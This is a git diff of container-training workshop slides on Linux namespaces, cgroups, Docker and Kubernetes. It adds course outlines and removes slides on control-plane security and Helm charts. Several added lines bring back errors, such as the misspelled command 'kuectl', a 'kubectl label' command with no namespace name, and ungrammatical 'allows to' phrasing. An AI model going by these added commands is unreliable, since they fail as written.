-- The Linux tool `unshare` allows doing that from a shell.
+- The Linux tool `unshare` allows to do that from a shell.
 
 - A new process can re-use none / all / some of the namespaces of its parent.
 
 - It is possible to "enter" a namespace with the `setns()` system call.
 
-- The Linux tool `nsenter` allows doing that from a shell.
+- The Linux tool `nsenter` allows to do that from a shell.
 
 ---
 
@@ -138,11 +138,11 @@ class: extra-details, deep-dive
 
 - gethostname / sethostname
 
-- Allows setting a custom hostname for a container.
+- Allows to set a custom hostname for a container.
 
 - That's (mostly) it!
 
-- Also allows setting the NIS domain.
+- Also allows to set the NIS domain.
 
   (If you don't know what a NIS domain is, you don't have to worry about it!)
 
@@ -392,13 +392,13 @@ class: extra-details
 
 - Processes can have their own root fs (à la chroot).
 
-- Processes can also have "private" mounts. This allows:
+- Processes can also have "private" mounts. This allows to:
 
-  - isolating `/tmp` (per user, per service...)
+  - isolate `/tmp` (per user, per service...)
 
-  - masking `/proc`, `/sys` (for processes that don't need them)
+  - mask `/proc`, `/sys` (for processes that don't need them)
 
-  - mounting remote filesystems or sensitive data,
+  - mount remote filesystems or sensitive data,
     <br/>but make it visible only for allowed processes
 
 - Mounts can be totally private, or shared.
@@ -570,7 +570,7 @@ Check `man 2 unshare` and `man pid_namespaces` if you want more details.
 
 ## User namespace
 
-- Allows mapping UID/GID; e.g.:
+- Allows to map UID/GID; e.g.:
 
   - UID 0→1999 in container C1 is mapped to UID 10000→11999 on host
   - UID 0→1999 in container C2 is mapped to UID 12000→13999 on host
@@ -947,7 +947,7 @@ Killed
 
   (i.e., "this group of process used X seconds of CPU0 and Y seconds of CPU1".)
 
-- Allows setting relative weights used by the scheduler.
+- Allows to set relative weights used by the scheduler.
 
 ---
 
@@ -1101,9 +1101,9 @@ See `man capabilities` for the full list and details.
 
 - Original seccomp only allows `read()`, `write()`, `exit()`, `sigreturn()`.
 
-- The seccomp-bpf extension allows specifying custom filters with BPF rules.
+- The seccomp-bpf extension allows to specify custom filters with BPF rules.
 
-- This allows filtering by syscall, and by parameter.
+- This allows to filter by syscall, and by parameter.
 
 - BPF code can perform arbitrarily complex checks, quickly, and safely.
 

slides/containers/Orchestration_Overview.md

@@ -6,6 +6,8 @@ In this chapter, we will:
 
 * Present (from a high-level perspective) some orchestrators.
 
+* Show one orchestrator (Kubernetes) in action.
+
 ---
 
 class: pic
@@ -119,7 +121,7 @@ Now, how are things for our IAAS provider?
 - Solution: *migrate* VMs and shutdown empty servers
   
   (e.g. combine two hypervisors with 40% load into 80%+0%,
-  <br/>and shut down the one at 0%)
+  <br/>and shutdown the one at 0%)
 
 ---
 
@@ -127,7 +129,7 @@ Now, how are things for our IAAS provider?
 
 How do we implement this?
 
-- Shut down empty hosts (but keep some spare capacity)
+- Shutdown empty hosts (but keep some spare capacity)
 
 - Start hosts again when capacity gets low
 
@@ -175,7 +177,7 @@ In practice, these goals often conflict.
 
   - 16 GB RAM, 8 cores, 1 TB disk
 
-- Each week, your team requests:
+- Each week, your team asks:
 
   - one VM with X RAM, Y CPU, Z disk
 

slides/containers/Resource_Limits.md

@@ -72,7 +72,7 @@
 
 - For memory usage, the mechanism is part of the *cgroup* subsystem.
 
-- This subsystem allows limiting the memory for a process or a group of processes.
+- This subsystem allows to limit the memory for a process or a group of processes.
 
 - A container engine leverages these mechanisms to limit memory for a container.
 

slides/containers/Training_Environment.md

@@ -45,13 +45,13 @@ individual Docker VM.*
 
 - The Docker Engine is a daemon (a service running in the background).
 
-- This daemon manages containers, the same way that a hypervisor manages VMs.
+- This daemon manages containers, the same way that an hypervisor manages VMs.
 
 - We interact with the Docker Engine by using the Docker CLI.
 
 - The Docker CLI and the Docker Engine communicate through an API.
 
-- There are many other programs and client libraries which use that API.
+- There are many other programs, and many client libraries, to use that API.
 
 ---
 

slides/containers/Working_With_Volumes.md

@@ -33,13 +33,13 @@ Docker volumes can be used to achieve many things, including:
 
 * Sharing a *single file* between the host and a container.
 
-* Using remote storage and custom storage with *volume drivers*.
+* Using remote storage and custom storage with "volume drivers".
 
 ---
 
 ## Volumes are special directories in a container
 
-Volumes can be declared in two different ways:
+Volumes can be declared in two different ways.
 
 * Within a `Dockerfile`, with a `VOLUME` instruction.
 
@@ -163,7 +163,7 @@ Volumes are not anchored to a specific path.
 
 * Volumes are used with the `-v` option.
 
-* When a host path does not contain a `/`, it is considered a volume name.
+* When a host path does not contain a /, it is considered to be a volume name.
 
 Let's start a web server using the two previous volumes.
 
@@ -189,7 +189,7 @@ $ curl localhost:1234
 
 * In this example, we will run a text editor in the other container.
 
-  (But this could be an FTP server, a WebDAV server, a Git receiver...)
+  (But this could be a FTP server, a WebDAV server, a Git receiver...)
 
 Let's start another container using the `webapps` volume.
 

slides/index.yaml

@@ -1,37 +1,3 @@
-- date: 2019-11-13
-  country: fr
-  city: Marseille
-  event: DevopsDDay
-  speaker: jpetazzo
-  title: Déployer ses applications avec Kubernetes (in French)
-  lang: fr
-  attend: http://2019.devops-dday.com/Workshop.html
-
-- date: [2019-09-24, 2019-09-25]
-  country: fr
-  city: Paris
-  event: ENIX SAS
-  speaker: jpetazzo
-  title: Déployer ses applications avec Kubernetes (in French)
-  lang: fr
-  attend: https://enix.io/fr/services/formation/deployer-ses-applications-avec-kubernetes/
-
-- date: 2019-06-17
-  country: ca
-  city: Montréal
-  event: Zenika
-  speaker: jpetazzo
-  title: Getting Started With Kubernetes
-  attend: https://www.eventbrite.com/e/getting-started-with-kubernetes-1-day-en-tickets-61658444066
-
-- date: [2019-06-10, 2019-06-11]
-  city: San Jose, CA
-  country: us
-  event: Velocity
-  title: Kubernetes for administrators and operators
-  speaker: jpetazzo
-  attend: https://conferences.oreilly.com/velocity/vl-ca/public/schedule/detail/75313
-
 - date: 2019-05-01
   country: us
   city: Cleveland, OH
@@ -39,8 +5,6 @@
   speaker: jpetazzo, s0ulshake
   title: Getting started with Kubernetes and container orchestration
   attend: https://us.pycon.org/2019/schedule/presentation/74/
-  slides: https://pycon2019.container.training/
-  video: https://www.youtube.com/watch?v=J08MrW2NC1Y
 
 - date: 2019-04-28
   country: us
@@ -49,7 +13,6 @@
   speaker: jpetazzo
   title: Getting Started With Kubernetes and Container Orchestration
   attend: https://gotochgo.com/2019/workshops/148
-  slides: https://gotochgo2019.container.training/
 
 - date: 2019-04-26
   country: fr
@@ -58,7 +21,6 @@
   speaker: jpetazzo
   title: Opérer et administrer Kubernetes
   attend: https://enix.io/fr/services/formation/operer-et-administrer-kubernetes/
-  slides: https://kadm-2019-04.container.training/
 
 - date: [2019-04-23, 2019-04-24]
   country: fr
@@ -68,7 +30,6 @@
   title: Déployer ses applications avec Kubernetes (in French)
   lang: fr
   attend: https://enix.io/fr/services/formation/deployer-ses-applications-avec-kubernetes/
-  slides: https://kube-2019-04.container.training/
 
 - date: [2019-04-15, 2019-04-16]
   country: fr
@@ -78,7 +39,7 @@
   title: Bien démarrer avec les conteneurs (in French)
   lang: fr
   attend: https://enix.io/fr/services/formation/bien-demarrer-avec-les-conteneurs/
-  slides: http://intro-2019-04.container.training/
+  slides: http://intro-2019-04.container.training
 
 - date: 2019-03-08
   country: uk

slides/intro-fullday.yml

@@ -0,0 +1,85 @@
+title: |
+  Introduction
+  to Containers
+
+chat: "[Slack](https://dockercommunity.slack.com/messages/C7GKACWDV)"
+#chat: "[Gitter](https://gitter.im/jpetazzo/workshop-yyyymmdd-city)"
+
+gitrepo: github.com/jpetazzo/container.training
+
+slides: http://container.training/
+
+exclude:
+- self-paced
+
+chapters:
+- shared/title.md
+- logistics.md
+- containers/intro.md
+- shared/about-slides.md
+- shared/toc.md
+- - containers/Docker_Overview.md
+  #- containers/Docker_History.md
+  - containers/Training_Environment.md
+  - containers/Installing_Docker.md
+  - containers/First_Containers.md
+  - containers/Background_Containers.md
+  - containers/Start_And_Attach.md
+- - containers/Initial_Images.md
+  - containers/Building_Images_Interactively.md
+  - containers/Building_Images_With_Dockerfiles.md
+  - containers/Cmd_And_Entrypoint.md
+- - containers/Copying_Files_During_Build.md
+  - |
+      # Exercise — writing Dockerfiles
+
+      Let's write Dockerfiles for an existing application!
+
+      The code is at: https://github.com/jpetazzo/wordsmith
+
+  - containers/Multi_Stage_Builds.md
+  - containers/Publishing_To_Docker_Hub.md
+  - containers/Dockerfile_Tips.md
+  - |
+      # Exercise — writing better Dockerfiles
+
+      Let's update our Dockerfiles to leverage multi-stage builds!
+
+      The code is at: https://github.com/jpetazzo/wordsmith
+
+      Use a different tag for these images, so that we can compare their sizes.
+
+      What's the size difference between single-stage and multi-stage builds?
+
+- - containers/Naming_And_Inspecting.md
+  - containers/Labels.md
+  - containers/Getting_Inside.md
+  - containers/Resource_Limits.md
+- - containers/Container_Networking_Basics.md
+  - containers/Network_Drivers.md
+  - containers/Container_Network_Model.md
+  #- containers/Connecting_Containers_With_Links.md
+  - containers/Ambassadors.md
+- - containers/Local_Development_Workflow.md
+  - containers/Windows_Containers.md
+  - containers/Working_With_Volumes.md
+  - containers/Compose_For_Dev_Stacks.md
+  - |
+      # Exercise — writing a Compose file
+
+      Let's write a Compose file for the wordsmith app!
+
+      The code is at: https://github.com/jpetazzo/wordsmith
+
+- - containers/Docker_Machine.md
+  - containers/Advanced_Dockerfiles.md
+  - containers/Application_Configuration.md
+  - containers/Logging.md
+- - containers/Namespaces_Cgroups.md
+  - containers/Copy_On_Write.md
+  #- containers/Containers_From_Scratch.md
+- - containers/Container_Engines.md
+  #- containers/Ecosystem.md
+  - containers/Orchestration_Overview.md
+  - shared/thankyou.md
+  - containers/links.md

slides/intro-selfpaced.yml

@@ -0,0 +1,60 @@
+title: |
+  Introduction
+  to Containers
+
+chat: "[Slack](https://dockercommunity.slack.com/messages/C7GKACWDV)"
+#chat: "[Gitter](https://gitter.im/jpetazzo/workshop-yyyymmdd-city)"
+
+gitrepo: github.com/jpetazzo/container.training
+
+slides: http://container.training/
+
+exclude:
+- in-person
+
+chapters:
+- shared/title.md
+# - shared/logistics.md
+- containers/intro.md
+- shared/about-slides.md
+- shared/toc.md
+- - containers/Docker_Overview.md
+  - containers/Docker_History.md
+  - containers/Training_Environment.md
+  - containers/Installing_Docker.md
+  - containers/First_Containers.md
+  - containers/Background_Containers.md
+  - containers/Start_And_Attach.md
+- - containers/Initial_Images.md
+  - containers/Building_Images_Interactively.md
+  - containers/Building_Images_With_Dockerfiles.md
+  - containers/Cmd_And_Entrypoint.md
+  - containers/Copying_Files_During_Build.md
+- - containers/Multi_Stage_Builds.md
+  - containers/Publishing_To_Docker_Hub.md
+  - containers/Dockerfile_Tips.md
+- - containers/Naming_And_Inspecting.md
+  - containers/Labels.md
+  - containers/Getting_Inside.md
+- - containers/Container_Networking_Basics.md
+  - containers/Network_Drivers.md
+  - containers/Container_Network_Model.md
+  #- containers/Connecting_Containers_With_Links.md
+  - containers/Ambassadors.md
+- - containers/Local_Development_Workflow.md
+  - containers/Windows_Containers.md
+  - containers/Working_With_Volumes.md
+  - containers/Compose_For_Dev_Stacks.md
+  - containers/Docker_Machine.md
+- - containers/Advanced_Dockerfiles.md
+  - containers/Application_Configuration.md
+  - containers/Logging.md
+  - containers/Resource_Limits.md
+- - containers/Namespaces_Cgroups.md
+  - containers/Copy_On_Write.md
+  #- containers/Containers_From_Scratch.md
+- - containers/Container_Engines.md
+  - containers/Ecosystem.md
+  - containers/Orchestration_Overview.md
+  - shared/thankyou.md
+  - containers/links.md

slides/k8s/architecture.md

@@ -1,4 +1,4 @@
-# Kubernetes architecture deep dive
+# Kubernetes architecture
 
 We can arbitrarily split Kubernetes in two parts:
 
@@ -165,25 +165,6 @@ What does that mean?
 
 ---
 
-## Let's experiment a bit!
-
-- For the exercises in this section, connect to the first node of the `test` cluster
-
-.exercise[
-
-- SSH to the first node of the test cluster
-
-- Check that the cluster is operational:
-  ```bash
-  kubectl get nodes
-  ```
-
-- All nodes should be `Ready`
-
-]
-
----
-
 ## Create
 
 - Let's create a simple object
@@ -214,7 +195,7 @@ This is equivalent to `kubectl create namespace hello`.
 
 - Read back our object:
   ```bash
-  kubectl get namespace hello -o yaml
+  kuectl get namespace hello -o yaml
   ```
 
 ]
@@ -307,7 +288,7 @@ class: extra-details
 
 - In the other, update our namespace:
   ```bash
-  kubectl label namespaces hello color=purple
+  kubectl label namespaces color=purple
   ```
 
 ]
@@ -356,9 +337,9 @@ We demonstrated *update* and *watch* semantics.
 
   - we create a Deployment object
 
-  - the Deployment controller notices it, and creates a ReplicaSet
+  - the Deployment controller notices it, creates a ReplicaSet
 
-  - the ReplicaSet controller notices the ReplicaSet, and creates a Pod
+  - the ReplicaSet controller notices it, creates a Pod
 
 ---
 

slides/k8s/authn-authz.md

@@ -1,4 +1,4 @@
-# Authentication and authorization
+# Authentication and authorization (bonus)
 
 *And first, a little refresher!*
 
@@ -143,21 +143,19 @@ class: extra-details
 
   (see issue [#18982](https://github.com/kubernetes/kubernetes/issues/18982))
 
-- As a result, we don't have an easy way to terminate someone's access
+- As a result, we cannot easily suspend a user's access
 
-  (if their key is compromised, or they leave the organization)
+- There are workarounds, but they are very inconvenient:
 
-- Option 1: re-create a new CA and re-issue everyone's certificates 
-  <br/>
-  → Maybe OK if we only have a few users; no way otherwise
+  - issue short-lived certificates (e.g. 24 hours) and regenerate them often
 
-- Option 2: don't use groups; grant permissions to individual users
-  <br/>
-  → Inconvenient if we have many users and teams; error-prone
+  - re-create the CA and re-issue all certificates in case of compromise
 
-- Option 3: issue short-lived certificates (e.g. 24 hours) and renew them often
-  <br/>
-  → This can be facilitated by e.g. Vault or by the Kubernetes CSR API
+  - grant permissions to individual users, not groups
+    <br/>
+    (and remove all permissions to a compromised user)
+
+- Until this is fixed, we probably want to use other methods
 
 ---
 
@@ -409,7 +407,7 @@ class: extra-details
 
 - We are going to create a service account
 
-- We will use a default cluster role (`view`)
+- We will use an existing cluster role (`view`)
 
 - We will bind together this role and this service account
 
@@ -576,51 +574,6 @@ It's important to note a couple of details in these flags ...
 
 class: extra-details
 
-## Where does this `view` role come from?
-
-- Kubernetes defines a number of ClusterRoles intended to be bound to users
-
-- `cluster-admin` can do *everything* (think `root` on UNIX)
-
-- `admin` can do *almost everything* (except e.g. changing resource quotas and limits)
-
-- `edit` is similar to `admin`, but cannot view or edit permissions
-
-- `view` has read-only access to most resources, except permissions and secrets
-
-*In many situations, these roles will be all you need.*
-
-*You can also customize them if needed!*
-
----
-
-class: extra-details
-
-## Customizing the default roles
-
-- If you need to *add* permissions to these default roles (or others),
-  <br/>
-  you can do it through the [ClusterRole Aggregation](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#aggregated-clusterroles) mechanism
-
-- This happens by creating a ClusterRole with the following labels:
-  ```yaml
-    metadata:
-      labels:
-        rbac.authorization.k8s.io/aggregate-to-admin: "true"
-        rbac.authorization.k8s.io/aggregate-to-edit: "true"
-        rbac.authorization.k8s.io/aggregate-to-view: "true"
-  ```
-
-- This ClusterRole permissions will be added to `admin`/`edit`/`view` respectively
-
-- This is particulary useful when using CustomResourceDefinitions
-
-  (since Kubernetes cannot guess which resources are sensitive and which ones aren't)
-
----
-
-class: extra-details
-
 ## Where do our permissions come from?
 
 - When interacting with the Kubernetes API, we are using a client certificate

slides/k8s/bootstrap.md

@@ -1,4 +1,4 @@
-# TLS bootstrap (extra material)
+# TLS bootstrap
 
 - kubelet needs TLS keys and certificates to communicate with the control plane
 

slides/k8s/cloud-controller-manager.md

@@ -81,6 +81,16 @@ The list includes the following providers:
 
 ---
 
+## Audience questions
+
+- What kind of clouds are you using / planning to use?
+
+- What kind of details would you like to see in this section?
+
+- Would you appreciate details on clouds that you don't / won't use?
+
+---
+
 ## Cloud Controller Manager in practice
 
 - Write a configuration file

slides/k8s/cluster-upgrade.md

@@ -18,8 +18,6 @@
 
 .exercise[
 
-- Log into node `test1`
-
 - Check the version of kubectl and of the API server:
   ```bash
   kubectl version
@@ -166,7 +164,7 @@
 
 - Upgrade kubelet:
   ```bash
-  apt install kubelet=1.14.2-00
+  apt install kubelet=1.14.1-00
   ```
 
 ]
@@ -267,7 +265,7 @@
 
 - Perform the upgrade:
   ```bash
-  sudo kubeadm upgrade apply v1.14.2
+  sudo kubeadm upgrade apply v1.14.1
   ```
 
 ]
@@ -287,8 +285,8 @@
 - Download the configuration on each node, and upgrade kubelet:
   ```bash
     for N in 1 2 3; do
-    	ssh node$N sudo kubeadm upgrade node config --kubelet-version v1.14.2
-  	  ssh node $N sudo apt install kubelet=1.14.2-00
+    	ssh node$N sudo kubeadm upgrade node config --kubelet-version v1.14.1
+  	  ssh node $N sudo apt install kubelet=1.14.1-00
     done
   ```
 ]
@@ -297,7 +295,7 @@
 
 ## Checking what we've done
 
-- All our nodes should now be updated to version 1.14.2
+- All our nodes should now be updated to version 1.14.1
 
 .exercise[
 

slides/k8s/cni.md

@@ -26,7 +26,7 @@
 
 The reference plugins are available [here].
 
-Look in each plugin's directory for its documentation.
+Look into each plugin's directory for its documentation.
 
 [here]: https://github.com/containernetworking/plugins/tree/master/plugins
 
@@ -98,7 +98,7 @@ class: extra-details
 
   - CNI_NETNS: path to network namespace file
 
-  - CNI_IFNAME: what the network interface should be named
+  - CNI_IFNAME: how the network interface should be named
 
 - The network configuration must be provided to the plugin on stdin
 
@@ -193,7 +193,7 @@ class: extra-details
 - This DaemonSet will start one instance of kube-router on each node
 
 ---
-
+  
 ## Logging into the new cluster
 
 .exercise[
@@ -221,7 +221,7 @@ class: extra-details
 - It is similar to the one we used with the `kubenet` cluster
 
 - The API server is started with `--allow-privileged`
-
+  
   (because we will start kube-router in privileged pods)
 
 - The controller manager is started with extra flags too:
@@ -254,7 +254,7 @@ class: extra-details
 
 ---
 
-## The kube-router DaemonSet
+## The kube-router DaemonSet 
 
 - In the same directory, there is a `kuberouter.yaml` file
 
@@ -321,7 +321,7 @@ Note: the DaemonSet won't create any pods (yet) since there are no nodes (yet).
 - Copy `kubeconfig` to the other nodes:
   ```bash
     for N in 2 3; do
-    	scp ~/kubeconfig kuberouter$N:
+    	scp ~/kubeconfig kubenet$N:
     done
   ```
 
@@ -346,8 +346,8 @@ Note: the DaemonSet won't create any pods (yet) since there are no nodes (yet).
 
 - Open more terminals and join the other nodes:
   ```bash
-  ssh kuberouter2 sudo kubelet --kubeconfig ~/kubeconfig --network-plugin=cni
-  ssh kuberouter3 sudo kubelet --kubeconfig ~/kubeconfig --network-plugin=cni
+  ssh kubenet2 sudo kubelet --kubeconfig ~/kubeconfig --network-plugin=cni
+  ssh kubenet3 sudo kubelet --kubeconfig ~/kubeconfig --network-plugin=cni
   ```
 
 ]
@@ -599,13 +599,13 @@ done
 
 ## Updating kube-router configuration
 
-- We need to pass two command-line flags to the kube-router process
+- We need to add two command-line flags to the kube-router process
 
 .exercise[
 
 - Edit the `kuberouter.yaml` file
 
-- Add the following flags to the kube-router arguments:
+- Add the following flags to the kube-router arguments,:
   ```
   - "--peer-router-ips=`X.X.X.X`"
   - "--peer-router-asns=64512"
@@ -650,8 +650,7 @@ For critical services, we might want to precisely control the update process.
 
 - We can see informative messages in the output of kube-router:
   ```
-  time="2019-04-07T15:53:56Z" level=info msg="Peer Up"
-  Key=X.X.X.X State=BGP_FSM_OPENCONFIRM Topic=Peer
+  time="2019-04-07T15:53:56Z" level=info msg="Peer Up" Key=X.X.X.X State=BGP_FSM_OPENCONFIRM Topic=Peer
   ```
 
 - We should see the routes of the other clusters show up

slides/k8s/concepts-k8s.md

@@ -130,14 +130,6 @@ class: pic
 
 ---
 
-class: pic
-
-![One of the best Kubernetes architecture diagrams available](images/k8s-arch4-thanks-luxas.png)
-
----
-
-class: extra-details
-
 ## Running the control plane on special nodes
 
 - It is common to reserve a dedicated node for the control plane
@@ -160,8 +152,6 @@ class: extra-details
 
 ---
 
-class: extra-details
-
 ## Running the control plane outside containers
 
 - The services of the control plane can run in or out of containers
@@ -177,12 +167,10 @@ class: extra-details
 
 - In that case, there is no "master node"
 
-*For this reason, it is more accurate to say "control plane" rather than "master."*
+*For this reason, it is more accurate to say "control plane" rather than "master".*
 
 ---
 
-class: extra-details
-
 ## Do we need to run Docker at all?
 
 No!
@@ -199,8 +187,6 @@ No!
 
 ---
 
-class: extra-details
-
 ## Do we need to run Docker at all?
 
 Yes!
@@ -223,8 +209,6 @@ Yes!
 
 ---
 
-class: extra-details
-
 ## Do we need to run Docker at all?
 
 - On our development environments, CI pipelines ... :
@@ -241,21 +225,25 @@ class: extra-details
 
 ---
 
-## Interacting with Kubernetes
+## Kubernetes resources
 
-- We will interact with our Kubernetes cluster through the Kubernetes API
+- The Kubernetes API defines a lot of objects called *resources*
 
-- The Kubernetes API is (mostly) RESTful
-
-- It allows us to create, read, update, delete *resources*
+- These resources are organized by type, or `Kind` (in the API)
 
 - A few common resource types are:
 
   - node (a machine — physical or virtual — in our cluster)
-
   - pod (group of containers running together on a node)
-
   - service (stable network endpoint to connect to one or multiple containers)
+  - namespace (more-or-less isolated group of things)
+  - secret (bundle of sensitive data to be passed to a container)
+ 
+  And much more!
+
+- We can see the full list by running `kubectl api-resources`
+
+  (In Kubernetes 1.10 and prior, the command to list API resources was `kubectl get`)
 
 ---
 
@@ -265,16 +253,22 @@ class: pic
 
 ---
 
+class: pic
+
+![One of the best Kubernetes architecture diagrams available](images/k8s-arch4-thanks-luxas.png)
+
+---
+
 ## Credits
 
-- The first diagram is courtesy of Lucas Käldström, in [this presentation](https://speakerdeck.com/luxas/kubeadm-cluster-creation-internals-from-self-hosting-to-upgradability-and-ha)
-
-  - it's one of the best Kubernetes architecture diagrams available!
-
-- The second diagram is courtesy of Weave Works
+- The first diagram is courtesy of Weave Works
 
   - a *pod* can have multiple containers working together
 
   - IP addresses are associated with *pods*, not with individual containers
 
+- The second diagram is courtesy of Lucas Käldström, in [this presentation](https://speakerdeck.com/luxas/kubeadm-cluster-creation-internals-from-self-hosting-to-upgradability-and-ha)
+
+  - it's one of the best Kubernetes architecture diagrams available!
+
 Both diagrams used with permission.

slides/k8s/configuration.md

@@ -22,7 +22,7 @@
 
 - There are many ways to pass configuration to code running in a container:
 
-  - baking it into a custom image
+  - baking it in a custom image
 
   - command-line arguments
 
@@ -125,7 +125,7 @@
 
 - We can also use a mechanism called the *downward API*
 
-- The downward API allows exposing pod or container information
+- The downward API allows to expose pod or container information
 
   - either through special files (we won't show that for now)
 
@@ -436,7 +436,7 @@ We should see connections served by Google, and others served by IBM.
 
 - We are going to store the port number in a configmap
 
-- Then we will expose that configmap as a container environment variable
+- Then we will expose that configmap to a container environment variable
 
 ---
 

slides/k8s/control-plane-auth.md

@@ -1,265 +0,0 @@
-# Securing the control plane
-
-- Many components accept connections (and requests) from others:
-
-  - API server
-
-  - etcd
-
-  - kubelet
-
-- We must secure these connections:
-
-  - to deny unauthorized requests
-
-  - to prevent eavesdropping secrets, tokens, and other sensitive information
-
-- Disabling authentication and/or authorization is **strongly discouraged**
-
-  (but it's possible to do it, e.g. for learning / troubleshooting purposes)
-
----
-
-## Authentication and authorization
-
-- Authentication (checking "who you are") is done with mutual TLS
-
- (both the client and the server need to hold a valid certificate)
-
-- Authorization (checking "what you can do") is done in different ways
-
-  - the API server implements a sophisticated permission logic (with RBAC)
-  
-  - some services will defer authorization to the API server (through webhooks)
-
-  - some services require a certificate signed by a particular CA / sub-CA
-
----
-
-## In practice
-
-- We will review the various communication channels in the control plane
-
-- We will describe how they are secured
-
-- When TLS certificates are used, we will indicate:
-
-  - which CA signs them
-
-  - what their subject (CN) should be, when applicable
-
-- We will indicate how to configure security (client- and server-side)
-
----
-
-## etcd peers
-
-- Replication and coordination of etcd happens on a dedicated port
-
-  (typically port 2380; the default port for normal client connections is 2379)
-
-- Authentication uses TLS certificates with a separate sub-CA
-
-  (otherwise, anyone with a Kubernetes client certificate could access etcd!)
-
-- The etcd command line flags involved are:
-
-   `--peer-client-cert-auth=true` to activate it
-
-   `--peer-cert-file`, `--peer-key-file`, `--peer-trusted-ca-file`
-
----
-
-## etcd clients
-
-- The only¹ thing that connects to etcd is the API server
-
-- Authentication uses TLS certificates with a separate sub-CA
-
-  (for the same reasons as for etcd inter-peer authentication)
-
-- The etcd command line flags involved are:
-
-  `--client-cert-auth=true` to activate it
-
-  `--trusted-ca-file`, `--cert-file`, `--key-file`
-
-- The API server command line flags involved are:
-
-  `--etcd-cafile`, `--etcd-certfile`, `--etcd-keyfile`
-
-.footnote[¹Technically, there is also the etcd healthcheck. Let's ignore it for now.]
-
----
-
-## API server clients
-
-- The API server has a sophisticated authentication and authorization system
-
-- For connections coming from other components of the control plane:
-
-  - authentication uses certificates (trusting the certificates' subject or CN)
-
-  - authorization uses whatever mechanism is enabled (most oftentimes, RBAC)
-
-- The relevant API server flags are:
-
-  `--client-ca-file`, `--tls-cert-file`, `--tls-private-key-file`
-
-- Each component connecting to the API server takes a `--kubeconfig` flag
-
-  (to specify a kubeconfig file containing the CA cert, client key, and client cert)
-
-- Yes, that kubeconfig file follows the same format as our `~/.kube/config` file!
-
----
-
-## Kubelet and API server
-
-- Communication between kubelet and API server can be established both ways
-
-- Kubelet → API server:
-
-  - kubelet registers itself ("hi, I'm node42, do you have work for me?")
-
-  - connection is kept open and re-established if it breaks
-
-  - that's how the kubelet knows which pods to start/stop
-
-- API server → kubelet:
-
-  - used to retrieve logs, exec, attach to containers
-
----
-
-## Kubelet → API server
-
-- Kubelet is started with `--kubeconfig` with API server information
-
-- The client certificate of the kubelet will typically have:
-
-  `CN=system:node:<nodename>` and groups `O=system:nodes`
-
-- Nothing special on the API server side
-
-  (it will authenticate like any other client)
-
----
-
-## API server → kubelet
-
-- Kubelet is started with the flag `--client-ca-file`
-
-  (typically using the same CA as the API server)
-
-- API server will use a dedicated key pair when contacting kubelet
-
-  (specified with `--kubelet-client-certificate` and `--kubelet-client-key`)
-
-- Authorization uses webhooks
-
-  (enabled with `--authorization-mode=Webhook` on kubelet)
-
-- The webhook server is the API server itself
-
-  (the kubelet sends back a request to the API server to ask, "can this person do that?")
-
----
-
-## Scheduler
-
-- The scheduler connects to the API server like an ordinary client
-
-- The certificate of the scheduler will have `CN=system:kube-scheduler`
-
----
-
-## Controller manager
-
-- The controller manager is also a normal client to the API server
-
-- Its certificate will have `CN=system:kube-controller-manager`
-
-- If we use the CSR API, the controller manager needs the CA cert and key
-
-  (passed with flags `--cluster-signing-cert-file` and `--cluster-signing-key-file`)
-
-- We usually want the controller manager to generate tokens for service accounts
-
-- These tokens deserve some details (on the next slide!)
-
----
-
-## Service account tokens
-
-- Each time we create a service account, the controller manager generates a token
-
-- These tokens are JWT tokens, signed with a particular key
-
-- These tokens are used for authentication with the API server
-
-  (and therefore, the API server needs to be able to verify their integrity)
-
-- This uses another keypair:
-
-  - the private key (used for signature) is passed to the controller manager
-    <br/>(using flags `--service-account-private-key-file` and `--root-ca-file`)
-
-  - the public key (used for verification) is passed to the API server
-    <br/>(using flag `--service-account-key-file`)
-
----
-
-## kube-proxy
-
-- kube-proxy is "yet another API server client"
-
-- In many clusters, it runs as a Daemon Set
-
-- In that case, it will have its own Service Account and associated permissions
-
-- It will authenticate using the token of that Service Account
-
----
-
-## Webhooks
-
-- We mentioned webhooks earlier; how does that really work?
-
-- The Kubernetes API has special resource types to check permissions
-
-- One of them is SubjectAccessReview
-
-- To check if a particular user can do a particular action on a particular resource:
-
-  - we prepare a SubjectAccessReview object
-
-  - we send that object to the API server
-
-  - the API server responds with allow/deny (and optional explanations)
-
-- Using webhooks for authorization = sending SAR to authorize each request
-
----
-
-## Subject Access Review
-
-Here is an example showing how to check if `jean.doe` can `get` some `pods` in `kube-system`:
-
-```bash
-kubectl -v9 create -f- <<EOF
-apiVersion: authorization.k8s.io/v1beta1
-kind: SubjectAccessReview
-spec:
-  user: jean.doe
-  group:
-  - foo
-  - bar
-  resourceAttributes:
-    #group: blah.k8s.io
-    namespace: kube-system
-    resource: pods
-    verb: get
-    #name: web-xyz1234567-pqr89
-EOF
-```

slides/k8s/create-chart.md

@@ -1,114 +0,0 @@
-## Creating a chart
-
-- We are going to show a way to create a *very simplified* chart
-
-- In a real chart, *lots of things* would be templatized
-
-  (Resource names, service types, number of replicas...)
-
-.exercise[
-
-- Create a sample chart:
-  ```bash
-  helm create dockercoins
-  ```
-
-- Move away the sample templates and create an empty template directory:
-  ```bash
-  mv dockercoins/templates dockercoins/default-templates
-  mkdir dockercoins/templates
-  ```
-
-]
-
----
-
-## Exporting the YAML for our application
-
-- The following section assumes that DockerCoins is currently running
-
-.exercise[
-
-- Create one YAML file for each resource that we need:
-  .small[
-  ```bash
-
-	while read kind name; do
-	  kubectl get -o yaml $kind $name > dockercoins/templates/$name-$kind.yaml
-	done <<EOF
-	deployment worker
-	deployment hasher
-	daemonset rng
-	deployment webui
-	deployment redis
-	service hasher
-	service rng
-	service webui
-	service redis
-	EOF
-  ```
-  ]
-
-]
-
----
-
-## Testing our helm chart
-
-.exercise[
-
-- Let's install our helm chart! (`dockercoins` is the path to the chart)
-  ```
-  helm install dockercoins
-  ```
-]
-
---
-
-- Since the application is already deployed, this will fail:<br>
-`Error: release loitering-otter failed: services "hasher" already exists`
-
-- To avoid naming conflicts, we will deploy the application in another *namespace*
-
----
-
-## Switching to another namespace
-
-- We can create a new namespace and switch to it
-
-  (Helm will automatically use the namespace specified in our context)
-
-- We can also tell Helm which namespace to use
-
-.exercise[
-
-- Tell Helm to use a specific namespace:
-  ```bash
-  helm install dockercoins --namespace=magenta
-  ```
-
-]
-
----
-
-## Checking our new copy of DockerCoins
-
-- We can check the worker logs, or the web UI
-
-.exercise[
-
-- Retrieve the NodePort number of the web UI:
-  ```bash
-  kubectl get service webui --namespace=magenta
-  ```
-
-- Open it in a web browser
-
-- Look at the worker logs:
-  ```bash
